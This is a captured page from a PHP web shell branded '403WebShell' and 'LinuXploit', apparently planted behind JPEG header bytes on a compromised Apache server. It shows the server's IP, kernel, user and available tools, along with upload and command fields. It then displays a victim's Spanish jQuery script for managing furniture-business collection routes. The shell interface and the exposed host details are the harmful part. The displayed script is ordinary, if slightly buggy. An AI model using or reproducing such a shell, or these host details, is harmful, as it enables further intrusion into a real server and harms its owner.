����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 216.73.216.72
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/proc/thread-self/root/var/www/html/muebles/application/routes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/proc/thread-self/root/var/www/html/muebles/application/routes/j_item.js
$(document).ready( function () 
{
	//tabla de rutas inicializar
	init_data();
	
	// tabla de empleados con ruta asignada inicializar
	init_dataE();
	
	//agrgegamos el nombre de la ruta con autocompletado txtname2
	$( "#txtname2" ).autocomplete({
		search  : function(){$(this).addClass('working');},
		open    : function(){$(this).removeClass('working');},
		source: function(request, response) {
			$.getJSON("c_search_route.php", { term: $('#txtname2').val() }, 
				response); },
			minLength:1,
			select:function(event, ui){
					
					
					$("#txtname2").val(ui.item.name);
					//asignamos id y nombre de ruta
					$("#txtdescription").val(ui.item.desc);
					console.log("Agregamos los datos de ruta");
					//id ruta
					$("#txthidetrxid").val(ui.item.id);
					$("#txtCobrador").val(ui.item.empleado);
					
					$("#employee_id").val(ui.item.employee_id);
					
					if(ui.item.sta == 1){
						Reactivar();
					}
					
					

			}
		}).autocomplete( "instance" )._renderItem = function( ul, item ) {
		return $( "<li>" )
		.append( "<dl><dt>"+item.name + "</dt>"+item.description+ "</dl>"  )
		.appendTo( ul );
};

//funcion para reactivar ruta
function Reactivar(){
	
	var id_item = $("#txthidetrxid").val();

	swal({   
					title: "Reactivar Ruta",   
					text: "Desea Reactivar Ruta con no id : " + id_item + " ?", 
					type: "success",   
					showCancelButton: true,   
					confirmButtonColor: "#AA6B55",   
					confirmButtonText: "Alta",   
					closeOnConfirm: true }, 
					function(){   
						var value = {
							id_item: id_item,
							method : "alta_item"
						};
						$.ajax(
						{
							url : "c_item.php",
							type: "POST",
							data : value,
							success: function(data, textStatus, jqXHR)
							{
								var data = jQuery.parseJSON(data);
								if(data.result ==1){
									$.notify('Registro Activado Nuevamente');
									
								}else{
									$.notify({
										message: " No se Puede Activar Ruta"
									},{
										type: 'warning',
										delay: 8000,
									});	
								}
							},
							error: function(jqXHR, textStatus, errorThrown)
							{
								
								$.notify({
										message: "Error al dar de alta Registro, # : "+ data.error
									},{
										type: 'danger',
										delay: 8000,
									});	
								
							}
						});
					});
				
	
	
}
	
	
	//agrgegamos el nombre de la ruta con autocompletado al dar de baja
	$( "#txtnameB" ).autocomplete({
		search  : function(){$(this).addClass('working');},
		open    : function(){$(this).removeClass('working');},
		source: function(request, response) {
			$.getJSON("c_search_route.php", { term: $('#txtnameB').val() }, 
				response); },
			minLength:1,
			select:function(event, ui){
					
					
					$("#txtnameB").val(ui.item.name);
					//asignamos id y nombre de ruta
					//id ruta
					$("#txthidetrxid").val(ui.item.id);
					$("#txtCobrador").val(ui.item.empleado);
		

			}
		}).autocomplete( "instance" )._renderItem = function( ul, item ) {
		return $( "<li>" )
		.append( "<dl><dt>"+item.name + "</dt>"+item.description+ "</dl>"  )
		.appendTo( ul );
	};
	
	
	//autocomplete de cobrador 
	$( "#txtCobrador" ).autocomplete({
		search  : function(){$(this).addClass('working');},
		open    : function(){$(this).removeClass('working');},
		source: function(request, response) {
			$.getJSON("c_search_category.php", { term: $('#txtCobrador').val() }, 
				response); },
			minLength:1,
			select:function(event, ui){
					
					
					$("#txtname").val(ui.item.nombre);
					//asignamos id y nombre de ruta
					$("#route_id").html(ui.item.route_id);
					//employee_id
					$("#employee_id").val(ui.item.id_cust);

			}
		}).autocomplete( "instance" )._renderItem = function( ul, item ) {
		return $( "<li>" )
		.append( "<dl><dt>"+item.name + "</dt>"+item.country+ "</dl>"  )
		.appendTo( ul );
	};
	
	
	$("#txtname2").keydown(function(e) {
        if(e.which == 13) {
			set_focus("#txtdescription");		
		}
      });
	
	 $("#txtdescription").keydown(function(e) {
        if(e.which == 13) {
		 
				set_focus("#txtCobrador");
		}
      });
	  
	   $("#txtCobrador").keydown(function(e) {
        if(e.which == 13) {
		 
				set_focus("#btnsavecategory");
		}
      });
	
});

//iniciar datos de tabla empleados con ruta asignada
function init_dataE(){
	
	var value = {
		method : "getdataE"
	};
	$('#table_employee_route').DataTable({
		"language": {
					 "decimal": "",
					"emptyTable": "No hay información",
					"info": "Mostrando _START_ a _END_ de _TOTAL_ Entradas",
					"infoEmpty": "Mostrando 0 to 0 of 0 Entradas",
					"infoFiltered": "(Filtrado de _MAX_ total entradas)",
					"infoPostFix": "",
					"thousands": ",",
					"lengthMenu": "Mostrar _MENU_ Entradas",
					"loadingRecords": "Cargando...",
					"processing": "Procesando...",
					"search": "Buscar:",
					"zeroRecords": "Sin resultados encontrados",
					"paginate": {
						"first": "Primero",
						"last": "Ultimo",
						"next": "Siguiente",
						"previous": "Anterior"
					}	
				},
		"paging": true,
		"lengthChange": false,
		"searching": true,
		"ordering": false,
		"info": false,
		"responsive": true,
		"autoWidth": false,
		"pageLength": 50,
		"dom": '<"top"f>rtip',
		"ajax": {
			"url": "c_item.php",
			"type": "POST",
			"data":value,
		},
		"columns": [
		
		{ "data": "idruta" },
		{ "data": "name" },
		{ "data": "description" },
		]
	});
	$("#table_employee_route_filter").addClass("pull-right");
	
}


function init_data(){
	
	var value = {
		method : "getdata"
	};
	$('#table_category').DataTable({
		"paging": true,
		"lengthChange": false,
		"searching": true,
		"ordering": true,
		"info": false,
		"responsive": true,
		"autoWidth": false,
		"pageLength": 50,
		"dom": '<"top"f>rtip',
		"ajax": {
			"url": "c_item.php",
			"type": "POST",
			"data":value,
		},
		"columns": [
		{ "data": "id" },
		{ "data": "name" },
		{ "data": "description" },
		{ "data": "button" },
		]
	});
	$("#table_category_filter").addClass("pull-right");
	
}

//Nuevo Registro
$(document).on( "click","#in_button", function() {
	
	document.getElementById('btnsavecategory').style.visibility = "hidden"; // show
				//btnsaveRoute
					document.getElementById('btnsaveRoute').style.visibility = "visible"; // show
					document.getElementById('btnEditR').style.visibility = "visible"; // show
					document.getElementById('btnAsignarR').style.visibility = "visible"; // show
					document.getElementById('btnBajaR').style.visibility = "visible"; // show
					//$("#btnsavecategory").html("Actualizar");
					$("#myModalLabel").html("Registro Ruta *");

	document.getElementById('btnsavecategory').style.visibility = "hidden"; // show

	//txthidetrxid
	$("#txthidetrxid").val('');
	
	$("#inputcrud2").val('N');
	$("#Entradadmodal").modal('show');
	$("#btnsavecategory").html("Guardar");
	$("#myModalLabel").html("Alta de Ruta *");
	$("#txtdescription").val(" ");
	$("#txtname2").val(" ");
	//$("#txtname").focus();
	set_focus("#txtname2");
	console.log("Ingresamos a dar de alta ruta");
});



$(document).on( "click","#btnEditcategory", function() {
	$("#inputcrud2").val('E');
	var crud=$("#inputcrud2").val();
	$("#btnsavecategory").click();
});

$(document).on( "click","#btnDelcategory", function() {
	$("#inputcrud2").val('D');
	var crud=$("#inputcrud2").val();

	$("#btnsavecategory").click();
});	
	
// guardar registro nuevo y cobrador nuevo
$(document).on( "click","#btnsaveRoute", function() {
	
	$("#inputcrud2").val("N");
	document.getElementById('btnsavecategory').style.visibility = "visible"; // show
	//btnsaveRoute
	document.getElementById('btnsaveRoute').style.visibility = "hidden"; // show
	document.getElementById('btnEditR').style.visibility = "hidden"; // show
	document.getElementById('btnAsignarR').style.visibility = "hidden"; // show
	document.getElementById('btnBajaR').style.visibility = "hidden"; // show
	
	$("#btnsavecategory").html("Regitrar nueva ruta");
	$("#myModalLabel").html("Guardar Ruta *");
	
		set_focus("#txtname2");
		
});

	
	
//actualizar cambio de ruta
$(document).on( "click","#btnsavecategory", function() {
	
	var crud = $("#inputcrud2").val();
	
	if(crud == 'N'){
		console.log("Nuevo Registro");
		save_reg();
	}else{
		if(crud=='E'){
			Editar();
			
		}else{
		console.log("Editar cambio de cobrador");
		$("#Cambiomodal").modal("show");
		}
	
	}
		
});


//guardar datos
function save_reg(){
	
var item_name = $("#txtname2").val();
	//txthidetrxid
	var indice = $("#txthidetrxid").val(); 
	//empleado al que se asignara el resultado escogido
	var employee_id = $("#employee_id").val();
	
	var crud=$("#inputcrud2").val();
	var id_txtname2=$("#id_txtname2").val();
	var description=$("#txtdescription").val();
	
	//id de categoria rutas
	var cat = $("#id_seller_ok").val();
	
	var employee_id = $("#employee_id").val();
	 
	
	if(crud == 'E'){
		if(crud == '' || crud == null ){
				$.notify({
					message: "Error no se encuentra Ruta a editar reintente"
				},{
					type: 'warning',
					delay: 8000,
				});		
				
				return;
			}
	}
	if(crud == 'D'){
		$.notify({
				message: "Se eliminara"
			},{
				type: 'danger',
				delay: 2000,
			});	
	}else{
		if(item_name == '' || item_name == null ){
			$.notify({
				message: "por favor ingrese nombre"
			},{
				type: 'warning',
				delay: 8000,
			});		
			$("#txtname").focus();
			return;
		}
	}	
	var value = {
		indice: indice,
		item_name: item_name,
		id_txtname2: id_txtname2,
		employee_id: employee_id,
		description:description,
		cat: cat,
		crud:crud,
		method : "save_route"
	};
	$(this).prop('disabled', true);
	proccess_waiting("#infoproses2");
	$.ajax(
	{
		url : "c_item.php",
		type: "POST",
		data : value,
		success: function(data, textStatus, jqXHR)
		{
			$("#btnsavecategory").prop('disabled', false);
			$("#infoproses2").html("");
			var data = jQuery.parseJSON(data);
			if(data.ceksat == 0){
				$.notify(data.error);
			}else{
				if(data.crud == 'N'){
					if(data.result == true){
						$.notify('Registro Guardado!');
						var table = $('#table_category').DataTable(); 
						table.ajax.reload( null, false );
						$("#Entradadmodal").modal('hide');				
					}else{
						$.notify({
							message: "Error al guardar registro # :" + data.error
						},{
							type: 'danger',
							delay: 5000,
						});
						set_focus("#txtiditem");
					}
				}else{
					
					if(crud == 'E'){
						if(data.result == true){
							
							if(data.resultEmp == true)
							{
								if(data.resulEMPant == true){
									$.notify({
										message: "Se Realizo Reasignacion de ruta a otro Cobrador" 
										},{
											type: 'warning',
											delay: 5000,
										});
								}else{
									$.notify('Registro Actualizado correctamente!');
								}
								
									var table = $('#table_category').DataTable(); 
									table.ajax.reload( null, false );
									$("#Entradadmodal").modal('hide');
									$("#Cambiomodal").modal('hide');
							}else{
										
									$.notify({
									message: "Actualizado pero " + data.CambioEmp  
									},{
										type: 'info',
										delay: 5000,
									});
							}
									
							
						}else{
							$.notify({
								message: "Error al Actualizar Categoria # :" + data.error
							},{
								type: 'danger',
								delay: 5000,
							});
							set_focus("#txtiditem");
						}
						 $("#txtCobrador").val(" ");
					}
					
						
					
					
				}
				
				if(crud == 'D'){
							if(data.result == true){
									$.notify('Registro Eliminado!');
									cat.remove(cat.selectedIndex);
								}else{
									$.notify({
										message: "Error al Actualizar Categoria # :" + data.result
									},{
										type: 'danger',
										delay: 5000,
									});
									set_focus("#txtiditem");
								}
							}
							
				if(crud == ''){
									$.notify({
									message: "Registro Invalido!"
								},{
									type: 'warning',
									delay: 5000,
								});
				}	
			}
		},
		error: function(jqXHR, textStatus, errorThrown)
		{
			$.notify({
					message: "Error, # : "+ data.error
					},{
					type: 'eror',
					delay: 8000,
				});	
			$("#btnsavecategory").prop('disabled', false);
		}
	});

}
//confirmar cambio de ruta
$(document).on( "click","#btncheckCambio", function() {
	Reasignacion();
});

//dar e baja 
$(document).on( "click","#btnBajaR", function() {
	
	$("#inputcrud2").val('B');
	
	$("#Bajamodal").modal("show");

	$("#Entradadmodal").modal("hide");
	set_focus("#txtnameB");
});

//confirmar baja 
$(document).on("click",'#btnConfirmB',function(){
		
	var id_item = $("#txthidetrxid").val();
	var dateB = $("#txtdateBaja").val();
	
	
	swal({   
					title: "Dar de baja Ruta",   
					text: "Baja con no id : " + id_item + " ?", 
					type: "warning",   
					showCancelButton: true,   
					confirmButtonColor: "#DD6B55",   
					confirmButtonText: "Baja",   
					closeOnConfirm: true }, 
					function(){   
						var value = {
							id_item: id_item,
							dateB: dateB,
							method : "baja_item"
						};
						$.ajax(
						{
							url : "c_item.php",
							type: "POST",
							data : value,
							success: function(data, textStatus, jqXHR)
							{
								var data = jQuery.parseJSON(data);
								if(data.result ==1){
									$.notify('Registro Dado de Baja');
									
								}else{
									$.notify({
										message: " No se Puede Dar de baja"
									},{
										type: 'warning',
										delay: 8000,
									});	
								}
							},
							error: function(jqXHR, textStatus, errorThrown)
							{
								
								$.notify({
										message: "Error al dar de baja Registro, # : "+ data.error
									},{
										type: 'danger',
										delay: 8000,
									});	
								
							}
						});
					});
				
	
});

//dar de baja ruta
$(document).on("click",'#btncheckpass',function(){

	var pass=$("#txtpass").val();
	var value = {
		pass : pass,
		method : "check_password"
	};
	$.ajax(
	{
		url : "../model/check_password.php",
		type: "POST",
		data : value,
		success: function(data, textStatus, jqXHR)
		{
			var data = jQuery.parseJSON(data);
			if(data.auth == true)
			{
				
				$("#passwordmodal").modal("hide");
				$("#txtpass").val("");
				var id_item =   $("#txthidetrxid").val();
				
				
					swal({   
					title: "Dar de baja Ruta",   
					text: "Baja con no id : " + id_item + " ?", 
					type: "warning",   
					showCancelButton: true,   
					confirmButtonColor: "#DD6B55",   
					confirmButtonText: "Baja",   
					closeOnConfirm: true }, 
					function(){   
						var value = {
							id_item: id_item,
							method : "baja_item"
						};
						$.ajax(
						{
							url : "c_item.php",
							type: "POST",
							data : value,
							success: function(data, textStatus, jqXHR)
							{
								var data = jQuery.parseJSON(data);
								if(data.result ==1){
									$.notify('Registro Dado de Baja');
									var table = $('#table_category').DataTable(); 
									table.ajax.reload( null, false );
									
								}else{
									$.notify({
										message: " No se Puede Eliminar, ya que hay Productos Asociados "
									},{
										type: 'warning',
										delay: 8000,
									});	
								}
							},
							error: function(jqXHR, textStatus, errorThrown)
							{
								
								$.notify({
										message: "Error al borrar Registro, # : "+ data.error
									},{
										type: 'danger',
										delay: 8000,
									});	
								
							}
						});
					});
				
			}else{
				$.notify({
					message: "La contraseña no coincide/Usuario No Autorizado, #: " + data.text1 
				},{
					type: 'danger',
					delay: 5000,
				});
				set_focus("#txtpass");
				return;
			}
		},
		error: function(jqXHR, textStatus, errorThrown)
		{
			loading_stop();
		}
	});


});

//ocultar botones para confirmar asignacion de cobrador
$(document).on( "click","#btnAsignarR", function() {
	$("#inputcrud2").val('A');
	
	document.getElementById('btnsavecategory').style.visibility = "visible"; // show
	//btnsaveRoute
	document.getElementById('btnsaveRoute').style.visibility = "hidden"; // show
	document.getElementById('btnEditR').style.visibility = "hidden"; // show
	document.getElementById('btnAsignarR').style.visibility = "hidden"; // show
	document.getElementById('btnBajaR').style.visibility = "hidden"; // show
	
	$("#btnsavecategory").html("Asignacion de cobrador");
	$("#myModalLabel").html("Asignar Ruta *");
	
		set_focus("#txtname2");
});

//btnAsignarR
//BOTON signar ruta 
function Reasignacion() {
	
	id_item = $("#txthidetrxid").val();
	//
	employee_id = $("#employee_id").val();
	
	var value = {
		id_item: id_item,
		employee_id : employee_id,
		method : "edit_empleado_route"
	};
	$.ajax(
	{
		url : "c_item.php",
		type: "POST",
		data : value,
		success: function(data, textStatus, jqXHR)
		{
			var hasil = jQuery.parseJSON(data);
			data = hasil.data;
			
			if(hasil.resultEmp == true){
				
				$("#Cambiomodal").modal('hide');
				
				$.notify({
					message: "empleado Asignado Correctamente!"
				},{
					type: 'success',
					delay: 2000,
				});
			}else{
				$.notify({
					message: "Error al asignar, descripcion= " + hasil.error 
				},{
					type: 'danger',
					delay: 5000,
				});
			}	
				
			set_focus("#txtname2");
			
			$("#inputcrud").val(" ");
			
		},
		error: function(jqXHR, textStatus, errorThrown)
		{
			console.log("Error general para editar");
		}
	});
}


//BOTON EDITAR 
$(document).on( "click","#btnEditR", function() {
	$("#inputcrud2").val("E");
	
	
	document.getElementById('btnsavecategory').style.visibility = "visible"; // show
	//btnsaveRoute
	document.getElementById('btnsaveRoute').style.visibility = "hidden"; // show
	document.getElementById('btnEditR').style.visibility = "hidden"; // show
	document.getElementById('btnAsignarR').style.visibility = "hidden"; // show
	document.getElementById('btnBajaR').style.visibility = "hidden"; // show
	$("#btnsavecategory").html("Actualizar");
	$("#myModalLabel").html("Editar Ruta *");
	
	
	
	crud = $("#txtname2").val();

	if(crud == '' || crud == null ){
				$.notify({
					message: "Error, debe de ingresar datos validos"
				},{
					type: 'warning',
					delay: 8000,
				});		
				
				return;
	}
	
	set_focus("#txtname2");
	
});

//editar ruta
function Editar(){
		
	$("#inputcrud2").val('E');
	
	
	//txtdescription
	name = $("#txtname2").val(); 
	
	idruta = $("#idruta").val();

	id_item = $("#txthidetrxid").val();
	//
	ciudad = $("#txtdescription").val();
	
	var value = {
		idruta:idruta,
		name:name,
		id_item: id_item,
		ciudad : ciudad,
		method : "edit_item_route"
	};
	$.ajax(
	{
		url : "c_item.php",
		type: "POST",
		data : value,
		success: function(data, textStatus, jqXHR)
		{
			var hasil = jQuery.parseJSON(data);
			data = hasil.data;
			
			if(hasil.result == true){
				$.notify({
					message: "Registro Editado Correctamente!"
				},{
					type: 'success',
					delay: 2000,
				});
				
					
				
				
			}else{
				$.notify({
					message: "Error al Editar, descripcion= " + hasil.error 
				},{
					type: 'danger',
					delay: 5000,
				});
			}	
				
			set_focus("#txtname2");
			
			$("#inputcrud").val(" ");
			
		},
		error: function(jqXHR, textStatus, errorThrown)
		{
			console.log("Error general para editar");
		}
	});
}

Youez - 2016 - github.com/yon3zu
LinuXploit